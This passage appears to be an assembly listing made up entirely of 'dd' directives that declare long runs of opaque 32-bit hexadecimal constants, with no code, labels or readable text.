592F2C81h dd 2904C60h, 6F94E7BFh, 0D487381Ah, 0A803DB0Ch, 43C750B7h dd 80247116h, 3B09F84Dh, 6AB860CAh, 7B0F38BBh, 589008E8h dd 0D812E0ACh, 0A046C1B9h, 79606572h, 32E09070h, 55106C8Ch dd 5C9BA060h, 5931DCBAh, 4D2D68C6h, 0B9128087h, 80D8C3F2h dd 290E6838h, 0CC60B0EAh, 637DA25Bh, 0FABCE815h, 0A9BBA83Dh dd 23C09C5Fh, 4D24A559h, 4124ACBCh, 871002A0h, 5445F351h dd 0A0899382h, 26946475h, 70805FDCh, 0CF72409Fh, 355C29C6h dd 70900958h, 0E81694F9h, 9B09B1EAh, 14CEB35h, 0FAD226B0h dd 60C03032h, 0B6147522h, 43F1C883h, 6360B1FAh, 21E3A9DFh dd 0ECFC8124h, 307079D0h, 0DC2924C4h, 74915082h, 7B5767C0h dd 0AC2B547Ah, 64504C86h, 0D8C75E0h, 0A8A8A6FCh, 0D49943CDh dd 18ADA6C0h, 7C51C22Dh, 7894CB7Bh, 17D31B02h, 824D909Eh dd 94C69FA4h, 131F0664h, 50162F92h, 264E3C14h, 69E9A03Ch dd 0E16D286Eh, 0A6F2B4h, 0D97BEBCEh, 0FA10E0A3h, 809008C8h dd 0A9209430h, 0EB24DF1Ah, 13582055h, 9C640937h, 0AC025F8Dh dd 0C0675389h, 9C3F1401h, 289CC305h, 0FF84ADCh, 5DEDE078h dd 1448C3ECh, 0E3BC1DFCh, 0B5496A5h, 0D99C27B0h, 83A81C63h dd 50AEF32Bh, 0BEDFC806h, 14287039h, 0B4893C7Ch, 0BDC0CFE0h dd 5CC9A961h, 6C202F89h, 8634871h, 0A1BCFD28h, 0FC4E4AF3h dd 66267E02h, 30C0B404h, 0FD006C3Ch, 0D9BDDBC0h, 44E5A2h dd 0F4866AC5h, 0CC2F28DEh, 56634F1Ch, 0E139DC80h, 289682Ah dd 4287C6BFh, 189865E0h, 70002923h, 39D4516Fh, 0A5D71C1h dd 0C6BE9F89h, 2B484014h, 7667D4C5h, 0B5672158h, 9C5ADFF1h dd 8491448h, 75A67F0Eh, 0E5140100h, 0A6043FB5h, 0ABAA063Ch dd 2856593Ch, 3DF16118h, 0A4DE67A8h, 5C0F0614h, 0A0521D5Eh dd 53AC4105h, 14601FB4h, 32B3F023h, 0F911FE36h, 0F87FA640h dd 8E2509C0h, 0FD6BE0h, 5F31E70Ch, 35912D1Bh, 36A7051Ch dd 156E3440h, 8930D7h, 9AA1C57Fh, 0CF2C869Dh, 9300DF75h dd 852E0EC9h, 72E9EA43h, 0B56C1D90h, 5666CE8Ah, 4BEF7800h dd 51027D5Dh, 0A9228DDh, 6460DD5Bh, 46017555h, 0B6CB613Ch dd 1EC0D395h, 0E1420021h, 1FFDF060h, 0BF00149Bh, 0D802853h dd 0E0450CC3h, 243304CDh, 0C0D6512Dh, 4198385Fh, 1A5BF600h dd 569B58DAh, 0E5EB0CE4h, 9BC95A1h, 0CE00E1E8h, 98903331h dd 753B57Bh, 0E0F2301h, 0DCAA903Fh, 0D93B70CFh, 0EF228172h dd 0AE77E4D7h, 0AF66F0F7h, 6A1D008Eh, 0D0C06E6Bh, 7F03B2B3h dd 294D1AB4h, 0E83DE013h, 0A98C3C9Bh, 0DDC6AC00h, 30E6B1F5h dd 3788D8E5h, 0EA15D31Ch, 0C6E48240h, 59B0A0h, 2170E2Fh dd 9B1574Dh, 0AA66EB28h, 0CE8EE600h, 4A73446Dh, 2D610E74h dd 0CCA0B863h, 568B3072h, 53262C00h, 0D3D92B96h, 1097CEFh dd 0A7BEF197h, 7E868B6Eh, 47833800h, 27850Fh, 0CB97883Ch dd 0FC3174BAh, 48A1B400h, 0ACA78DB5h, 38207465h, 0E1809D9Bh dd 8E3235E2h, 0E500485Bh, 0DC6FE35Fh, 334DB05h, 61998278h dd 7FF0B3ADh, 350751AAh, 75949FD5h, 80EF7095h, 89B7A9D4h dd 9511B400h, 0C7DDCE65h, 8E15004Ah, 8B13EA8Ch, 0C8001E7Ch dd 357E8404h, 7EB42A1h, 0A5FA0594h, 0AD5DC06Eh, 4D008D91h dd 6BF8C28Ah, 38BFC8h, 0F6BBB22Ch, 7577B1D1h, 0BCD34D00h dd 5E064353h, 463C2645h, 3AA500A8h, 0D3D786D8h, 0DB782202h dd 8565F0F4h, 0BC0350CAh, 0F0B78FA1h, 94B188h, 2C246F6Ah dd 233E7E3h, 9FD1900h, 8A828C28h, 0B15C0098h, 0D11D2274h dd 0C0014D61h, 70D7193Dh, 0FAF48F11h, 0B6E601C4h, 8D73A8DEh dd 0CAFBE0F1h, 796F000h, 0FDF422A6h, 4BD20057h, 0A8C24ECBh dd 0FB008E95h, 0B410164Ch, 3AF91E44h, 0D68005EAh, 12ECBE74h dd 0E100277Dh, 49A6ACDDh, 1FDFEBD4h, 807C04E4h, 14E786CAh dd 1901F2EEh, 0D62C4B23h, 0A5F0FD98h, 0A3E60075h, 27FC0B79h dd 4B0FEB70h, 40F44416h, 80E5ACB4h, 873B5CEAh, 0E7129900h dd 90032BBAh, 0B0A17700h, 5D5204A4h, 1C4F01A7h, 6DE714DDh dd 0E64DE073h, 81AC7D00h, 0ECD522A3h, 42F602D9h, 3D88ADBDh dd 1EDFBC80h, 0C51D9A64h, 0B949A472h, 0C9780141h, 2FE5CF95h dd 62EE820h, 0DC160F54h, 40EA102Dh, 6A3A7807h, 9840FA8Ah dd 11AE3F2h, 8F580C93h, 0F79EE9B2h, 0DA6271D0h, 4E05AC00h dd 0BE5491CCh, 387226h, 72F2EDF3h, 783A9C56h, 868C2F00h dd 1F6AB74Dh, 523D00AEh, 486F540Bh, 0DE00015Ch, 7216FDBDh dd 78FF8Ch, 0AE6ECBA7h, 8D098520h, 49DA5C01h, 9B703305h dd 31BA9280h, 3FD080B0h, 0CA0095FEh, 8B99C0F1h, 73ACBDh dd 43B3073Dh, 0BB74E8C8h, 6129D4F3h, 8367C30h, 573472h dd 69AB05A5h, 7D0AFB11h, 3A335B00h, 36FF6A1Ah, 167CE46Bh dd 1E9AE43h, 8204D021h, 1898805Bh, 0FB4DEE10h, 5DD401D2h dd 0D95A809Fh, 22ACF4B4h, 43D5903h, 0FAE44C78h, 5B8380D7h dd 9D8F41h, 0DD0A94BCh, 59E2A9CCh, 0FF078198h, 0B08B2D58h dd 926D78D0h, 0F6EB1CA2h, 0CF570FEEh, 0A03070C7h, 20ADAA93h dd 350C4400h, 1F4E5253h, 72360061h, 63A06DC8h, 57F6286h dd 0CF22C400h, 3A29BFB8h, 0F740112h, 337A169Fh, 0B735FCD8h dd 5CE5AB0Eh, 9E950003h dd 240B3DBCh, 38CB3F94h, 0E9B0D00h, 1360A2C6h, 0E162E700h dd 167AC932h, 3419009Dh, 63D4E35Ch, 0E200C05Ah, 4D1B03FCh dd 44971Ah, 33F387D9h, 96EBD51Ch, 30F75E13h, 5B21FF00h dd 3D6480h, 9CA7F10Ah, 5D783784h, 3AE21538h, 6F7B80A2h dd 0A9943C4Ah, 0C01128D9h, 0B7780EBEh, 0EE40C50Ah, 0A1287BDFh dd 10FC6603h, 0ABAE24EAh, 1FDE035h, 0CBBA00CCh, 977BBE82h dd 2300AF0Ch, 0A79E87FBh, 3CCA3A84h, 73EFFFh, 0E87DACA1h dd 8AF94549h, 0C3DD3700h, 635DD67Ch, 4BA50079h, 53A21C08h dd 25008247h, 0AF4D6548h, 152E64h, 9654FA80h, 0F2D0F7ECh dd 58DC893Dh, 0B0F800A8h, 4A8F559Fh, 685C009Ch, 0EB298E2Eh dd 8B00159Bh, 1BC5F56Dh, 0CC87C2h, 0CE0BEAE8h, 0F7342912h dd 0C7D24200h, 0E447ED85h, 0ECA700D1h, 0C76539Ah, 0F998ADB1h dd 2AB36E00h, 0D23C0BAEh, 506D013Dh, 7B619148h, 0EEDB70BCh dd 75A2B600h, 6F964298h, 41D43A11h, 21808480h, 0EB4CD93h dd 0B6E91F00h, 27038F51h, 54F300FBh, 8BE30529h, 5AE65F0Dh dd 0E9ED6512h, 0D4B83400h, 726CD97Ch, 17CF0054h, 8D580681h dd 0BC01B1F6h, 37CAB28Ah, 6DD56724h, 0E87FE020h, 0F3B5006Fh dd 8561420h, 0C5B82594h, 4F9C6B00h, 8945AC5Dh, 0DA6002Eh dd 0F905640Ch, 9E1F9959h, 95C133D2h, 73B11DEEh, 3F13EFE8h dd 3E80AB0Eh, 114C39D1h, 58C00F2Dh, 0A5264F09h, 76C2003Bh dd 41921FD6h, 6BF84610h, 0CC7C8F00h, 752D6352h, 0FA0900BCh dd 907A31C1h, 87E5178h, 0FED0A200h, 666023B4h, 0F85BFE35h dd 0E36C3CD2h, 881F1E8Fh, 80C36EAFh, 0FC0E5A3h, 13785F89h dd 4F458500h, 0B7E2F21Eh, 6BDC1DFEh, 963C0DFh, 56C122BAh dd 2BAD0E00h, 17EE3BF6h, 72E2D0h, 0EBD34F36h, 47915DE3h dd 99847F00h, 0D90DAA73h, 85BD0749h, 0E09A974Bh, 0B0392702h dd 0CB51D800h, 1FBA9488h, 0D0F00CDh, 30A9E670h, 0E0E91BFh dd 60F5FEDFh, 2888AB67h, 604900BBh, 226D17F9h, 1900B50Fh dd 80E2B6FEh, 2B08DCh, 0C9338FA0h, 57515DF3h, 0E70011F6h dd 0A91FA267h, 449FF06h, 0D9DFEF14h, 805A85D2h, 0A7435866h dd 0C347E51Dh, 721378F0h, 7A6E6B8h, 7AE12266h, 38DEC058h dd 4800149Bh, 0EDB14F4Ah, 503AF653h, 0EB88Eh, 5B84466h dd 5C1D8022h, 0A98DF500h, 0B965261Ah, 0B2B10009h, 228E5552h dd 1779DC4Dh, 4436F700h, 91CB392h, 0EEEBE09Bh, 722800B2h dd 7C4C6D85h, 0F2008761h, 0DF19D0D2h, 3D314621h, 4B1DB2AFh dd 0C1A1CC93h, 7219A5B9h, 5505988h, 601D9FD8h, 5B16781Eh dd 9831B60Ch, 671712Fh, 6E90D0h, 5DBBD7A0h, 5F543F25h dd 0FD727C00h, 0AD39B7BFh, 20300DEh, 0CB90A6BBh, 5D3C3F6Dh dd 81F50C1Ah, 0CE78EDh, 0A21B4C92h, 0A8279B56h, 5FDF88A9h dd 7296E004h, 0F2690054h, 93BF0CA3h, 0B013B74h, 24B4336Eh dd 31804761h, 996C4D1Ch, 0BB3FF1B3h, 9CD88F39h, 234C83E0h dd 3468E596h, 4CB35293h, 0B546BBB0h, 1D6E10C0h, 0EFF06Ch dd 11DA97A3h, 2CE7A045h, 0A612CC1Eh, 519A218h, 0D40784A8h dd 0DBE81FC3h, 0ACE4A9C3h, 10C5B442h, 1052D122h, 18A0A661h dd 24A0A30Dh, 5484B86Fh, 0A8F13C39h, 0EBF0150Ch, 1EF71710h dd 8433E188h, 25489454h, 5008CA42h, 1D8A0757h, 9D0A30ACh dd 9080C6Eh, 702448A0h, 6CA1A03Eh, 7B7851B5h, 428108B9h dd 18202ACBh, 30BF3D28h, 54843776h, 50A024F1h, 0A8AD482Bh dd 0A40A3954h, 61D965C0h, 6729C1AEh, 6E318603h, 2119948Eh dd 3A081266h, 7738008Fh, 917109DAh, 903276h, 0CC07EE79h dd 0D6C6795Bh, 23DC25D0h, 0F2EC00AEh, 352A3E2Dh, 0AF001C89h dd 0A622F00Eh, 24638B08h, 9E240D7Ch, 562AFECBh, 0DEA215D4h dd 0C703F8EBh, 6A5F0673h, 0AD81F0E7h, 19FC333Eh, 99A75A0Fh dd 30EA20CBh, 4FF9867h, 36242C34h, 512480BCh, 0AB010462h dd 0CB14C703h, 2A60A5F9h, 13B20097h, 9F5E6695h, 6926A873h dd 0AD01D92Dh, 1D828B7Dh, 0D4001C5Fh, 0C29304B5h, 3D01387Fh dd 453B4721h, 9640A850h, 67B051h, 1D8379D9h, 0CB8C9DF4h dd 36DD7F37h, 5BF9C850h, 0E4EA004Ah, 0D8BA31AFh, 1400E5EFh dd 6E89EB8Dh, 637B30ECh, 5CD6D8AEh, 0BD115018h, 205E6A0h dd 55565D06h, 1480D064h, 0CB8D0A5Ch, 6942C114h, 0DC960E34h dd 0F77BE024h, 7CCE454Eh, 5AD60054h, 0B482BB8Ah, 5071359h dd 87800465h, 0D4FAD60h, 0ED4D00C9h, 1AF61F8Fh, 0A10077DFh dd 73CAD9E1h, 0C1AAE8EAh, 0ABE77FB8h, 98B986h, 0B0F0BC9Fh dd 90C1D923h, 15F90FD5h, 0BC0BA2Eh, 90EA9D7Eh, 0CBE3FB06h dd 2880F7AAh, 168EC8Fh, 0AD126707h, 5CCA98C8h, 5E057240h dd 95D03CCFh, 0D880C800h, 1FF6DCh, 84733427h, 16588EDFh dd 0CAAFC00Ah, 86BBC0E7h, 0E6F14E2Dh, 0A4AC3010h, 71778DB0h dd 0BA17C900h, 0C28AB078h, 5E730386h, 289EA1E9h, 38011877h dd 2AE127B8h, 8DD03246h, 677072CEh, 0C3DD2104h, 0C0BF8B96h dd 0A19157E8h, 7CCF1701h, 8CFCDA43h, 40B5309Fh, 0EC8E78B1h dd 8400109Dh, 0C4890CC3h, 3DC061D4h, 88098D6Dh, 0F1803CDEh dd 0A80602F8h, 0BE8E8700h, 0C655BFE6h, 80E2604Ah, 0CCFBA411h dd 0BCFE5600h, 21347991h, 3D43EE1Ch, 5D80F4F5h, 0B54477C8h dd 3A009561h, 664041CAh, 0C4DB9Fh, 6CBC15FFh, 0AB7EB0A6h dd 0A1FC5E00h, 436F663Ch, 0C7B00E7h, 8A5145ADh, 1F02E2BDh dd 57D1DD4h, 0CFFA60AAh, 0F63C0044h, 0A799A5C9h, 0DD005707h dd 30252135h, 0D48D7Dh, 0CEFA9D93h, 0AD713CA8h, 1E12000h dd 43B8C223h, 0C310039h, 0E7B51B94h, 3800C8C1h, 0A6AD709Ah dd 0E0F73347h, 789600EFh, 0CFF8D6BBh, 67018E62h, 5049AC8Ah dd 2AF4244Dh, 0DD47006Ah, 0FB8F9EA7h, 7600B5B6h, 0AADEDBF0h dd 0E07321E9h, 0FFD40196h, 93EE4EC1h, 0E0708097h, 770A3742h dd 30D9567Eh, 55667104h, 6F247085h, 597606B4h, 0B0E20178h dd 7E37CC00h, 0B87F5268h, 0C8CE3012h, 0D50CF430h, 0E09E221Fh dd 0FF83399Fh, 0E308CAh, 944F8398h, 0E863F58Bh, 920389B8h dd 9976BCF8h, 8A40004Dh, 506E81DEh, 0CE0146C3h, 3A179CB5h dd 9450FC5Dh, 61B4A0F3h, 0FDF651DCh, 8BD0F3DAh, 0DE3FC277h dd 735100A4h, 0C81A2BBFh, 44DF0162h, 9EAFCB2Dh, 952270E2h dd 2083BA00h, 3CF254Fh, 68BD073Fh, 0F05CED4Ah, 0D05802ECh dd 76E03750h, 0B50575FCh, 0EFA74267h, 0C0DC1DFAh, 0D9CFB864h dd 510027E7h, 8EE876AEh, 0C32A3B6Dh, 0A54FAB78h, 57B73FE8h dd 0A9A448A8h, 410E7B72h, 40D3C144h, 738170F3h, 0D29C0119h dd 7F693B3Ah, 0F0BF21h, 0D338DC7Bh, 7B53117h, 0EB1C7CB0h dd 40CB55D7h, 183E8CCh, 0C807379Ah, 0CFEC6584h, 81E3D080h dd 0EC935042h, 0C33E79FCh, 90334031h, 144B171h, 35960A22h dd 30C44C30h, 0B7E582B8h, 0A5860401h, 6AB232CDh, 0E185F840h dd 34230615h, 0A8F6EC77h, 1C09980Ch, 0F35D206Bh, 0A83F6E60h dd 3ACDC84h, 773BFD03h, 3104F79Fh, 53BD4961h, 0C5E52080h dd 0A58701A6h, 0A4D9A769h, 213422FCh, 36AE0032h, 7094A3Ah dd 1681CA15h, 0FD1002D0h, 41279754h, 0C42B2591h, 0A5A04012h dd 7978EAA6h, 5E02A9DEh, 99E877C7h, 9418E908h, 0BC2C2B00h dd 0DA6FF9C0h, 3881005Bh, 74173EFh, 0A0A88CADh, 0B50D6D1h dd 1800CC99h, 11AF68C8h, 582036E4h, 2F008DFAh, 0E61459D5h dd 4836447Ah, 81B838B5h dd 64C4ED04h, 0FA60E1Bh, 3620A4FCh, 1E08187h, 0BC8BA900h dd 9A09CC60h, 4920048h, 0A31BB8B7h, 0B200E8A4h, 0E188B071h dd 0B8D2A87Fh, 3E830358h, 4298A52h, 0E0BBCFA0h, 84806A00h dd 2B5A60BEh, 50C2037Bh, 9D07C156h, 49FB4800h, 1D08A80h dd 7DBB011Dh, 3F2673BFh, 4F12FCFAh, 0E7A85500h, 6FA5E2A9h dd 4ADD0040h, 0BE2D49EBh, 0E01695DAh, 0FA00351Dh, 0A5A9E615h dd 28740119h, 0AB6A6FA1h, 485180B1h, 0C80816BFh, 0BAA03CDFh dd 794FF0Ch, 0D1000410h, 8EF358B2h, 0C57C956h, 0DD50EA60h dd 8655E61h, 484030B1h, 0B7BA6E7Bh, 83AE0337h, 7C595739h dd 0C2B9C800h, 71DF605Ch, 0E8A300F6h, 0F095825Eh, 0A474A5B4h dd 0C0080A4h, 264E3D48h, 7F6D6AE7h, 0EC4B00E0h, 0D27FC7BFh dd 7D009D3Eh, 0FBA5A89Ch, 7C8E8Ah, 8FEE4884h, 7635CE85h dd 9EF35018h, 0E4E858h, 311B05F8h, 2C90C738h, 2F070F01h dd 92581E64h, 0B888A3E3h, 414262h, 55CA487Eh, 0BE3AC326h dd 2BB1DD00h, 9EB6EB50h, 711B73E3h, 2488F03Eh, 538CEEh dd 8F39EDDCh, 0B100FBF1h, 0F72561A1h, 7AE0DF6Ah, 58690062h dd 1794518Eh, 84019ED7h, 6B2B0424h, 87F8E0D6h, 0C898007Bh dd 5B7FFC4Dh, 5E3A2307h, 8400FDB7h, 0D6E203BCh, 0A8890Eh dd 0B915FCC4h, 2EA4CE44h, 0D8001379h, 0C198C7B4h, 6EB72499h dd 0A5C04A42h, 4EE1E05Bh, 0BEF6047Fh, 5F134000h, 0E52AF14h dd 1140BFE6h, 760C5B6Ah, 0E8B35615h, 0E1BC00BEh, 228C8F7Ah dd 0BF781FBDh, 4203329h, 63E0005Ch, 2C9A96CFh, 0D200094Ch dd 92D32FABh, 0F10681h, 55C71432h, 2B4CE3DCh, 30865D00h dd 61A7121h, 1DFDE887h, 7C3D1CBh, 131933h, 59010E8Dh, 338203Ch dd 85EBED94h, 0EC28F85Bh, 0A4B600CAh, 0E449F2D9h, 4B001560h dd 8E11544Fh, 1B3204h, 303329CFh, 0C91C5C48h, 9613DC05h dd 81FB2CEFh, 3031D7C5h, 5C003CB3h, 0F12F08AFh, 718CCCh dd 0F7B1C873h, 28A8B8FAh, 0F2942A00h, 8374AB9Dh, 7CAC0393h dd 45CB63A3h, 0E926C188h, 3D0A6500h, 98DF25B9h, 0EF7A00FFh dd 0AF470FA3h, 0CC001E30h, 76649204h, 26E16935h, 1F7A2A4Ah dd 0F175808Bh, 2D92AF88h, 0A05C4200h, 9C54EEE0h, 28EA6036h dd 0C40DD5B5h, 0E13D4400h, 0A3C9EB25h, 0EE020130h, 6A59733Bh dd 2143F8F0h, 270099E8h, 87033CAEh, 74B311h, 0A2AAC369h dd 4B8D3976h, 0FF581926h, 0ED124E00h, 0C7DD4A92h, 0D01F3A68h dd 3C6EBF93h, 9636E500h, 68C65C46h, 33F1009Ch, 1C94590Dh dd 47001069h, 4B8ABF22h, 0FF0A5Bh, 0F229A684h, 5740DDA7h dd 0BE7D2500h, 41A032B5h, 6471001Ah, 56B80C06h, 0D105472Ch dd 0BC659CAAh, 0ED9022C0h, 6BA0009Fh, 0C7072858h, 5F07FEB0h dd 0F9BFBB01h, 0AFE9A01Eh, 14C7C3Ch, 8A0FF30h, 0DCC1868Ah dd 0B800EE96h, 0EDDB8F93h, 0AE9FE59h, 6C061D36h, 3C6900C7h dd 6656CC5Ah, 8CBA4900h, 0A5C470A6h, 0B97A40h, 0D9BBE472h dd 0E6EA7F1h, 8E46B312h, 0DE396E01h, 89F8256Bh, 0F46D003Eh dd 8AFDCD62h, 0D671B14Dh, 0BC0015EEh, 0F53A9219h, 1C33F82Fh dd 0C0916E24h, 22F3B946h, 19E674E0h, 0EC9EB00Bh, 2EE0833Bh dd 4BF5A884h, 3E3DE293h, 0E909B160h, 5B807A4Eh, 9C67687Bh dd 0E841D00h, 0CE810845h, 66780026h, 0AC7B729Bh, 3F00E692h dd 8A6F54E7h, 7C234Ch, 0C3A862D3h, 5891D7C1h, 0B04A3B00h dd 0F14497E2h, 0B81F006Dh, 41B2DBFFh, 70ECDE5h, 6F3FBDh dd 77541A25h, 59FC00B3h, 7B791E6Dh, 0E4009558h, 72C88348h dd 90372DCDh, 53A70052h, 5C158724h, 570026D2h, 0EDD1FBC8h dd 0E4A39B0h, 36C2ABDAh, 967FB2C0h, 513D8068h, 787E8076h dd 2B6D986Ch, 0F98F00B0h, 0A90DE71Ah, 0F60B701Dh, 6874B0Eh dd 0B0F460h, 3ADBD865h, 2E8603E3h, 31B82A1Dh, 92FA9D00h dd 1EC2041h, 99228228h, 0E883BFFEh, 86037A37h, 0EEC6D7E9h dd 0CF30881Eh, 0DE950061h, 3DF916FCh, 640F2EF6h, 60D05B94h dd 0AF80100Eh, 3230008Eh, 379543B3h, 0B10ED2BAh, 0E71F818Ah dd 8780D4BBh, 9A65C5h, 73E67F93h, 0CFABB985h, 919CE050h dd 958D3400h, 0DFB6F079h, 8444004Ch, 0D143515Fh, 3100CBADh dd 8A495E36h, 1D688Fh, 0FD4DD412h, 52FEC3D0h, 53E9801Ch dd 32D76980h, 0EF59035h, 0BF9F05C8h, 7D7B2EA0h, 9600E5E6h dd 1A0EFB43h, 0BF3A944h, 98592411h, 0B3D31F01h, 12EB7053h dd 0B146E700h, 0D061CD29h, 96707DDh, 10402ED6h, 366A3593h dd 266BBF00h, 0C1D04EE0h, 9B7101D2h, 28B8562Bh, 7B10E0BDh dd 5E67BB03h, 0B83D6032h, 1CE1D1Eh, 0CA2D5786h, 2490C83Eh dd 9B00475Ch, 8838FE8Bh, 1D0B106h, 0AE8D5CAFh, 3029ADE3h dd 0E503FDD0h, 2E4E6B48h, 4D289005h, 86A60B66h, 0A200943Fh dd 4E4974CBh, 10545901h, 0B4E4BA8Bh, 7BBD21C8h, 2AE8008Ch dd 4C88DDC6h, 5C00EAB1h, 0B4CC06D5h, 0A02264h, 12187B91h dd 1E8862A5h, 0B5E2A800h, 46C8B187h, 41F266h, 5A0D9186h dd 0BFA143Ah, 0BE993E00h, 6A800648h, 5224005Ch, 674AA725h dd 390F90F3h, 9EFA88D2h, 0C454C9h, 3D346588h, 27A00EBh dd 6BF336EAh, 5A00D620h, 3BA8BA41h, 91E65Dh, 0BD32C0A4h dd 36281430h, 5E0ADD00h, 0AF34AA8Dh, 5280000Bh, 0A981475Ch dd 7A003D6Ah, 0F335285Bh, 1F394683h, 47136D76h, 0EF80FF55h dd 7168F6E2h, 0D97C39E0h, 0A8DB3903h, 97377670h, 9EA3D050h dd 0B9D70B14h, 6A0E0333h, 0A565F380h, 0CE0012DBh, 0DAB0E115h dd 1E8B2A25h, 80DE5BC6h, 0BF8750C4h, 0A0003CC9h, 0A102CFAAh dd 0E4D0A3h, 60B6E7A4h, 5CDB5D22h, 15F7AC00h, 8FEAFE18h dd 30B019Fh, 0F54851CCh, 9D9F4F1h, 7AA7CB00h, 529EDB2Ch dd 2E1300A1h, 124FA241h, 5101FE0Eh, 38F362C8h, 0EEF4C319h dd 0B0762672h, 2A9D8366h, 97A81551h, 6A5FF637h, 36E3B0h dd 239438EDh, 8CFED4AAh, 90272C03h, 80DB8168h, 7F375Ah dd 18767D94h, 4434032Bh, 921B820Fh, 0EEC19D93h, 0C70E17E8h dd 4046DCh, 4FB4FD8Dh, 0E4EDAC73h, 0B0267F00h, 0AC8BA4Ch dd 0A7E51DA3h, 679C4329h, 1FA08951h, 0D300ADF6h, 7D665A18h dd 0CB8824h, 0B9C92640h, 634C0311h, 0D2F73D00h, 4757B1AAh dd 7FF800BCh, 8B1472F4h, 2A00A1A3h, 0A738F9FFh, 0B570Dh dd 0A6C9344Fh, 0C07DDCF1h, 8C104500h, 15AD2D95h, 0E3AECA5h dd 229B678Dh, 0F0FA05E7h, 0D5E8C3BBh, 5EBDEC00h, 0BEB4A86Eh dd 0CA0E0E6Fh, 0B6018EBh, 0A5A4CE93h, 899AD33Dh, 8FA87EF6h dd 61B4A05Bh, 35E229h, 4A883C5Dh, 0D69E0ACBh, 0CCE5F901h dd 64AACE2Ch, 9485C8h, 0C4FDFF0h, 0FFA67C02h, 0EE1F7100h dd 1E413404h, 0F89700EFh, 116780F1h, 9A004C92h, 56C62BBh dd 6A3AE9h, 0E84AD009h, 0B6EC940Ch, 670EC107h, 8570E4BCh dd 517843h, 1F6BF490h, 364EA861h, 66281200h, 0DCCFC9Fh dd 0E8D20355h, 0F87E0905h, 22027200h, 8B44A8A7h, 0D8C80092h dd 5BDCC67Bh, 0B801B941h, 626D111Eh, 83CE526Fh, 0E84BE58Bh dd 0C297F72h, 0B82FA131h, 101D4F60h, 911E19C4h, 0B266D00h dd 0E83E9972h, 18CAE80Eh, 20B9EA17h, 0E11E7456h, 2B0F11C7h dd 0ABC1DC9Eh, 6904005h, 0FA2960E4h, 0C94E007Bh, 0CC39E6B8h dd 6D00B217h, 0DF09E8A1h, 0BBD563h, 14F08770h, 0B538E9A5h dd 2D9738h, 6EE0C0BAh, 0C0188BE6h, 0ABD6A191h, 0E7E04E6Ch dd 7D2CE00h dd 0A804C8FBh, 9640002Dh, 98610B16h, 8830718Bh, 0EB9B3917h dd 0BEE1C0CAh, 3E2BB619h, 58DE900h, 0B23B9D90h, 5B6B0344h dd 218E7882h, 3054C097h, 46001197h, 43140AEFh, 0B815AA5Ah dd 241F00A7h, 73C6A30Bh, 0D8008637h, 3FFD925Bh, 19EE71h dd 0E5E9EABAh, 0C42C7649h, 0C4B6B00h, 0AC315E26h, 88190316h dd 6C2FF971h, 75A99807h, 0BC20F568h, 0E19E069h, 73B05F2h dd 96911360h, 3E009D45h, 0A5DCC16Ch, 3BD5F241h, 0C00CCEAh dd 72CE846Bh, 3200F613h, 0A06FB5A2h, 0E730DEh, 785498A5h dd 83D2272Eh, 3100B2E6h, 0F10468BCh, 0E2D9355h, 8580AB94h dd 0A06C0073h, 0D3C816A1h, 88B0D10Eh, 636A4169h, 98307797h dd 6DEC0718h, 6027377Eh, 3EFB74CFh, 0ACD0A116h, 36D3A000h dd 137B2D1h, 6C59680Eh, 204D164Ch, 5E07C2F7h, 8E03EA5Dh dd 97EC6B90h, 137602F7h, 9F166447h, 0CEFCA460h, 30C5500h dd 5C62741Ah, 9D0D0E19h, 0B2495Ah, 1E7E9CEFh, 83001206h dd 0FCBDF12Dh, 14CDA2Ah, 0A4432F10h, 80F2F989h, 0D76CAE36h dd 2EE37B70h, 3D3CACh, 76869193h, 64EAF165h, 0FB573600h dd 47CC2351h, 6AAE00CAh, 0C18EF403h, 0B2001410h, 4F3E1EDFh dd 39C73537h, 0C80052A0h, 0B016FA9Ch, 5C098676h, 829034C6h dd 48CBB230h, 74F138h, 628103DBh, 911331Dh, 61FDB600h dd 3679F49Dh, 0C96F0F1h, 864FFBCCh, 5C7EB1FCh, 3B6EB21Dh dd 19F14540h, 74A5E56Ch, 93650079h, 0CE0CD22Eh, 4A006DB7h dd 9787CCFEh, 1C92E1F3h, 8DEC51h, 6CE0BB40h, 0FE006F38h dd 22F46562h, 1FEA7064h, 3D7133Dh, 0F1481553h, 0D1F4590Ch dd 7DB89968h, 1D07F35h, 43BFB0FAh, 0EC752466h, 69004E83h dd 0CE158757h, 1CC484C2h, 0BEBA1394h, 0F25C478Ch, 3B008550h dd 0B7B88CCCh, 6EE9864h, 32978D2Fh, 300020EFh, 8B85E5B3h dd 2C24DA2h, 4506684Bh, 6A00F49Bh, 37844CEh, 0E2E1D910h dd 0D818FC62h, 38B1E76Dh, 4ACA007Bh, 5EFE2F94h, 0EE000363h dd 6EC2189Bh, 0FB9F68h, 22F1617Dh, 7C80DD2Dh, 72D83A1Dh dd 7880E99Dh, 208F9948h, 97DB3B6Bh, 21C9188Bh, 93FA9B82h dd 3FB0CDC0h, 74985000h, 485D1FD3h, 69A90F71h, 10E02309h dd 13663D64h, 0C4260A07h, 2C90061Fh, 0E8DDC68h, 4681EE3Ah dd 6EA60B80h, 89011DE0h, 39EA581Ch, 44F0E57Eh, 7ADE7CFBh dd 7B8FA0C8h, 1FDD0081h, 7CA5E316h, 0D20C4327h, 85EDE3Ah dd 49760Ah, 4DD9B61Fh, 0A3067CCDh, 15D87A00h, 0A571D509h dd 0F9920088h, 9BD6DD66h, 0A30FF70Ch, 8C7414h, 34ECA568h dd 0AB981F32h, 265E2C8Ah, 0BFCB00E6h, 134A902Dh, 85FC20C6h dd 90686038h, 6FDAECF6h, 80076937h, 0D3558681h, 0C725430h dd 7152CA73h, 21C07808h, 0E2D08E26h, 0FB9D005Fh, 666B8C36h dd 60002508h, 0BB7E3AFEh, 98F63EAh, 0CD6D1D98h, 0F2184E0Ch dd 72A61F0Dh, 2E604808h, 0E2A10787h, 76B6502Bh, 0E760095Dh dd 5C6F9D21h, 0BF770046h, 7173933Fh, 8409CF25h, 0FDBD756Ah dd 0DBB62180h, 7E0045C4h, 31CC03Dh, 3AB1170Bh, 0BB80AC4Dh dd 0B6C382D1h, 0C600F55Ah, 85B764FAh, 0F0980F2h, 0D810B9FCh dd 95EE20C0h, 0E1025125h, 1F4419FAh, 0A1E3C0B8h, 9B7B35h dd 4D5930FFh, 0EC10B390h, 4F0D7A00h, 0A3A2CEF6h, 0DAA71E56h dd 0B942405Fh, 222D946Ch, 44E97500h, 0F5581E3Ah, 0E0990037h dd 0DC27AB0Fh, 420501DEh, 45AD1D09h, 240468h, 0A7C5B5A4h dd 1EAFD091h, 303094F8h, 0A30D2129h, 339E4E9h, 